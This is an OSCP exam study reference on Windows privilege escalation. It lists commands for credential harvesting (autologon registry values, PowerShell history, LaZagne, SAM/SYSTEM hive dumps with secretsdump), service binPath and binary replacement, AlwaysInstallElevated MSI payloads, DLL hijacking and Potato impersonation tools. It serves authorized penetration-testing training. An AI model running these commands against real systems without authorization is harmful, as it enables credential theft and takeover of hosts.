OSCP Reference

9.5.2 Windows Privilege Escalation

← Stage index | Quick sheet | Credential use | File transfer | Strategy map | Study methods: Escalate privileges on Windows

Entry: authorized Windows shell. Exit: verified Administrator/high-integrity or SYSTEM process. Proof chain: current token → controlled input → effective right → privileged consumer → run-as identity → trigger → verified effect.

First pass: check whoami /all and architecture, then run the reviewed winPEAS baseline in the collector section. Read out.txt and follow the exact service/task, token or credential finding; use native checks if the collector is unavailable.

9.5.2.1 Establish token and host state

hostname
whoami /all
systeminfo
ipconfig /all
route print
netstat -ano
tasklist /svc
query user
net user
net localgroup Administrators
driverquery /v
Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber,OsArchitecture
Get-HotFix | Sort-Object InstalledOn -Descending
Get-CimInstance Win32_Process | Select-Object ProcessId,Name,ExecutablePath,CommandLine
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,StartMode,PathName
Get-LocalUser
Get-LocalGroupMember Administrators

Interpret: record user SID, integrity label, enabled/deny-only groups and present/enabled privileges. Administrator membership with Medium integrity is a filtered token, not a high-integrity process. Get-HotFix does not list every update; use build/KB output only to form a version hypothesis.

9.5.2.1.1 WMIC compatibility fallbacks
wmic qfe get HotFixID,InstalledOn
wmic service get Name,StartName,State,StartMode,PathName
wmic process get ProcessId,Name,ExecutablePath,CommandLine

WMIC is deprecated and may be absent on newer systems; PowerShell CIM is the baseline.

9.5.2.2 Interpret effective access

icacls "C:\Path\To\OBJECT"
sc.exe sdshow SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\OBJECT"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE

icacls common rights: F full, M modify, RX read/execute, R read, W write, D delete. Common inheritance markers: I, OI, CI, IO, NP.

File, directory, registry, service-object, task and process permissions are separate. Check whether the ACE applies to the current user or an enabled group and grants the exact required operation. Mandatory Integrity Control can still block a lower-integrity write.

9.5.2.3 Hunt credentials and configuration

9.5.2.3.1 Find usable credentials in accessible Windows artifacts Stored credentials and PowerShell trails

cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
$history = (Get-PSReadLineOption).HistorySavePath
$history
Get-Content -LiteralPath $history -ErrorAction SilentlyContinue
Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -ErrorAction SilentlyContinue |
  Where-Object Id -in 4103,4104 | Select-Object -First 50 TimeCreated,Id,Message

A cmdkey entry is target/context-bound and does not reveal a password. DPAPI-protected data needs the protecting user/machine context and keys. Clear-History does not necessarily clear PSReadLine's saved file.

9.5.2.3.1.1 Targeted application/file/registry search
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul
Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
  Select-String -Pattern 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false

Search from observed applications first. Classify every value by identity, format, scope and compatible service, then use the credential procedure.

9.5.2.3.1.2 Saved credential consumer
runas /savecred /user:DOMAIN\USER cmd.exe

Use only when cmdkey/context supports that identity and logon type. runas does not inherently bypass UAC; verify the resulting token with whoami /all.

9.5.2.3.1.3 LaZagne — recover application credentials in the current user's context

Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.

9.5.2.3.1.4 Browser-store leads for the current user

REM Browser-store leads for the current user
laZagne.exe browsers

9.5.2.3.1.5 Broader recovery, with a local text report

REM Broader recovery, with a local text report
laZagne.exe all -oN

Read: preserve the reported application/account/source with each recovered value. Test a matching service using the credential procedure; a recovered application password is not automatically a domain password. Empty output can mean no supported store, inaccessible profile or failed decryption. Follow manual history/config/vault checks instead of assuming there are no credentials.

LaZagne upstream.

9.5.2.4 Check whether you control a privileged service or its executable Service control and executed objects

Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.

9.5.2.4.1 Inventory and inspect

Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\service.exe"

Need: control of service config, exact binary/script, searched prefix, DLL/config/plugin, or relevant DACL; higher SERVICE_START_NAME; and a start/restart/boot trigger. In PowerShell use sc.exe, because bare sc can resolve to Set-Content.

9.5.2.4.2 Modifiable service configuration

Preserve BINARY_PATH_NAME, account and start mode first:

sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE

Restore:

sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"

SERVICE_CHANGE_CONFIG controls binPath; start/stop are separate rights. The space after binPath= is required. Error 1053 may mean a non-service payload ran but did not answer the Service Control Manager; verify the intended effect.

9.5.2.4.2.1 Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE

A parent with delete/create rights can permit replacement even when the file is not directly writable. Confirm architecture, file locks, recovery copy and exact trigger.

9.5.2.5 Check whether an unquoted service path reaches a location you can write Unquoted service paths

Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.
Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -match '\s' -and $_.PathName -notmatch '^\s*"' } |
  Select-Object Name,StartName,State,StartMode,PathName

For C:\Program Files\Vendor App\service.exe -d, check every attempted prefix:

icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
sc.exe qc SERVICE

Confirmed only if: path contains spaces and is unquoted; an earlier attempted executable such as C:\Program.exe or C:\Program Files\Vendor.exe is absent and creatable; service runs higher; trigger exists. A listed unquoted path alone is a false positive.

9.5.2.6 Check whether privileged software loads a file you control DLL/config/helper search hijacking

Confirm:

  1. exact DLL/helper/config name and architecture;
  2. privileged process actually requests it;
  3. selected attacker-writable location precedes the legitimate resolution;
  4. payload preserves required exports/behavior where necessary;
  5. reliable trigger exists.
icacls "C:\Path\To\Application"
sc.exe qc SERVICE
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode

Modern DLL resolution can apply redirection, API sets, side-by-side manifests, loaded modules, KnownDLLs, package dependencies and application-specific search flags before ordinary directories. Safe DLL search mode is enabled by default. In a suitable lab, Procmon filters for the process, CreateFile, .dll, and NAME NOT FOUND provide decisive runtime evidence; low-privilege remote use may be unavailable.

9.5.2.7 Find privileged tasks or startup consumers you can influence Scheduled tasks and autostarts

Check the privileged consumer, controlled input and actual schedule or trigger.

9.5.2.7.1 Find privileged tasks or startup consumers you can influence Scheduled tasks

schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml
Get-ScheduledTask | ForEach-Object {
  $t = $_
  [pscustomobject]@{
    TaskPath=$t.TaskPath; TaskName=$t.TaskName
    UserId=$t.Principal.UserId; RunLevel=$t.Principal.RunLevel
    Actions=($t.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments) [wd=$($_.WorkingDirectory)]" }) -join '; '
  }
}
icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To"
schtasks /run /tn "\FOLDER\TASK"

Prove action, arguments, working directory, principal, actual trigger and effective ACL. RunLevel Highest means the configured principal's highest available token, not SYSTEM. /run success means the request was accepted; verify process/effect and last-run result.

9.5.2.7.1.1 Run keys and startup consumers
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"

Need a modifiable consumed value/file plus a higher-privileged boot/logon/application trigger. A writable PATH directory matters only when a privileged consumer invokes an unqualified executable through that effective PATH.

9.5.2.8 Check installer policy and the elevation limits of your token AlwaysInstallElevated and UAC context

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Both values must be 0x1:

msiexec.exe /quiet /qn /i C:\Path\To\PAYLOAD.msi

One key or a zero value disproves the route. This is an unsafe installer policy, not a universal UAC bypass.

whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

A UAC bypass normally elevates an already-administrative filtered token. Build/policy-specific bypasses are not a baseline path for a standard user.

9.5.2.9 Check whether your token privileges support an escalation route Token privilege routes

whoami /priv
PrivilegeRequired next proof
SeImpersonatePrivilegeCompatible privileged client/coercion, impersonation level, build/runtime/tool and process creation
SeAssignPrimaryTokenPrivilegeUseful primary token plus process/quota requirements
SeBackupPrivilegeEnabled privilege, backup-aware read and useful protected data
SeRestorePrivilegeRestore-aware write plus privileged consumer/trigger
SeDebugPrivilegeUsable target process and no protected-process barrier
SeLoadDriverPrivilegeCompatible signed/loadable driver and stable exploit path
SeTakeOwnershipPrivilegeOwnership change, then DACL/content control and consumer
9.5.2.9.1 Impersonation-tool variants
PrintSpoofer64.exe -i -c "cmd.exe"
GodPotato-NET4.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\token-proof.txt"

Choose by OS build, architecture, runtime and available trigger. A privilege name alone does not select a working “Potato.” Success is a SYSTEM process/effect followed by whoami /all; connection/token/process errors route back to prerequisites.

9.5.2.9.2 Backup privilege to local credential material
reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Use the matched hive pair. Output is local credential material, not automatic SYSTEM/domain/remote authorization; classify and validate it through the credential procedure.

9.5.2.10 Assess software and driver candidates against the exact host build Application, driver and kernel candidates

Use a matching affected build/configuration only after stronger permission-backed candidates have been assessed.
Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*',
                 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue |
  Select-Object DisplayName,DisplayVersion,Publisher,InstallLocation
systeminfo
driverquery /v

Prefer deterministic credential/permission/configuration paths. Then verify exact privileged application or driver version/configuration. Use kernel exploits last after exact build, architecture, cumulative update, mitigations, prerequisites, source and crash risk are checked. Avoid Win32_Product; it is slow and can trigger MSI repair.

9.5.2.11 Investigate remaining gaps with a focused automated survey Automated candidate generation

winPEASx64.exe log
Seatbelt.exe -group=system -outputfile="C:\Windows\Temp\seatbelt-system.txt"
Seatbelt.exe -group=user -q -outputfile="C:\Windows\Temp\seatbelt-user.json"
powershell.exe -ExecutionPolicy Bypass -Command ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report TXT,HTML"
Import-Module .\PowerUp.ps1
Invoke-AllChecks

winPEAS is broad; Seatbelt is a targeted survey and publishes source rather than official binaries; PrivescCheck evaluates the current token and skips some checks when elevated; PowerUp is useful but its upstream repository was archived. AV/script-policy failure is a tooling limitation—use native checks.

Convert every highlight into:

CANDIDATE | CURRENT TOKEN | CONTROLLED INPUT | EFFECTIVE RIGHT | CONSUMER | RUN-AS | TRIGGER | EXPECTED EFFECT | STATUS

9.5.2.12 Choose the next check from the failure you observed Failure router

FailureNext action
Service config Access is deniedValidate service DACL/effective token; inspect binary/DLL/config alternatives
Can modify but cannot restartFind reliable boot/logon/service dependency trigger or choose another path
Service error 1053Check bounded effect, then restore; payload may not implement the service protocol
Unquoted path but no creatable prefixDisprove the route
DLL not loadedRecheck actual request, KnownDLL/SxS/loaded module, search order, bitness and trigger
Task accepted but no effectCheck action, conditions, working directory, LastTaskResult/history and process lifetime
Privilege tool failsRecheck enabled token state, build, architecture/runtime and trigger-specific prerequisite
Hashes but no higher sessionReturn to credential classification and host/service authorization
Suggester lists CVEVerify exact component/build/patch/config and exploit source before use
Enumerator blockedRun the relevant native branch; do not infer no findings

9.5.2.13 Verify, re-enumerate and preserve evidence

whoami /all
hostname
ipconfig /all

After a higher token, re-enumerate protected credentials, services, tasks, sessions, listeners, routes and domain context. Preserve the command, relevant output, trigger and restoration step. For exam use, recheck the current OffSec guide: Windows full-privilege evidence requires SYSTEM, Administrator or an account with Administrator privileges, and AI/LLM use is prohibited during the exam and report phase.

9.5.2.14 JAWS — PowerShell enumeration when the compiled helper is unsuitable

Use a reviewed JAWS script when its PowerShell-based checks fit the current host/runtime. It is an alternative survey, not proof that every current Windows configuration is covered.

powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt

Read: turn a named service, path or credential finding into its exact native check (sc.exe qc, sc.exe sdshow, icacls, task XML, or the file read). Policy or language restrictions can still prevent the script from running. The process-scope flag does not override an enforced policy/control layer; use the manual checks already listed here.

Sources: upstream 1.

9.5.2.15 Legacy impersonation helpers — select by OS build and trigger

Use the current GodPotato/PrintSpoofer workflow first when its conditions fit. Older JuicyPotato-family recipes depend on specific COM/DCOM/RPC behavior; an enabled token privilege alone is not the complete condition.

9.5.2.15.1 Legacy JuicyPotato: requires a working CLSID and supported Windows build

REM Legacy JuicyPotato: requires a working CLSID and supported Windows build
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c CLSID -a "/c whoami > C:\Windows\Temp\identity-check.txt"

9.5.2.15.2 Separate EFS-triggered helper, if its documented prerequisites fit

REM Separate EFS-triggered helper, if its documented prerequisites fit
SharpEfsPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\identity-check.txt"

type C:\Windows\Temp\identity-check.txt

Read: verify the exact resulting token/identity and effect. CLSID/RPC/trigger errors can mean an incompatible build, service state or blocked primitive—not a wrong password. Original JuicyPotato is a legacy option and is not a universal modern-Windows escalation. Inspect each helper's local help/version; do not interchange flags across JuicyPotatoNG, GodPotato and SharpEfsPotato.

Sources: upstream 1 · upstream 2.

9.5.2.16 AccessChk — verify the exact service, file or registry permission

Use after WinPEAS, PrivescCheck or a manual check identifies a candidate. Query the current identity and the exact object; a writable service binary and service-configuration rights are different paths.

whoami
accesschk.exe -nobanner -v -c "DOMAIN\USER" SERVICE
accesschk.exe -nobanner -v "DOMAIN\USER" "C:\Path\To\PROGRAM.exe"
accesschk.exe -nobanner -v -k "DOMAIN\USER" "HKLM\SYSTEM\CurrentControlSet\Services\SERVICE"

:: Broader candidate discovery; retain errors rather than suppressing them
accesschk.exe -nobanner -w -v -c "DOMAIN\USER" *

Read: SERVICE_CHANGE_CONFIG, WRITE_DAC, file modification and registry value modification enable different operations. Next inspect sc.exe qc SERVICE, executable/parent ACLs, service identity and a permitted restart/trigger. A write result alone does not establish SYSTEM execution. Empty write-filtered output is not a complete permission inventory; inspect the exact object without -w and check errors. Use the existing sc.exe sdshow, icacls and PowerShell ACL checks if AccessChk is unavailable.

Sources: upstream 1.

9.5.2.17 Sources


Top of document · Reference home